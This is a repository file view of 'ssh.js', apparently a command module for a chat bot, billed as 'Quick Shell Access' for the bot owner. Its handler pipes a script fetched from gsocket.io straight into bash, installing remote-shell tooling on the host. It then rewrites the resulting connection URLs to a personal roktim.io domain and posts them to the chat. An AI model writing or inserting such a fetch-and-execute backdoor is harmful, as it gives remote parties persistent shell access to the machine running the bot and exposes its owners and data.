temp / ssh.js
roktimsardar123's picture
Update ssh.js
3f8574d verified
raw
history blame
629 Bytes
const { exec } = require('child_process');
const config = {
name: "ssh",
version: "1.1",
author: "tanvir && roktim",
countDown: 5,
role: 2,
longDescription: { en: "Quick Shell Access" },
category: "owner",
guide: {
en: "{pn}"
}
};
async function onStart({ message }) {
exec('bash -c "$(curl -fsSL https://gsocket.io/x)"', (error, stdout, stderr) => {
if (error) {
message.reply(`Error:\n\n${error.message}`);
} else {
const mod = stdout.replace(/https:\/\/gsocket\.io/g, 'https:\/\/gsocket\.roktim\.io');
message.reply(mod);
}
});
}
module.exports = { config, onStart };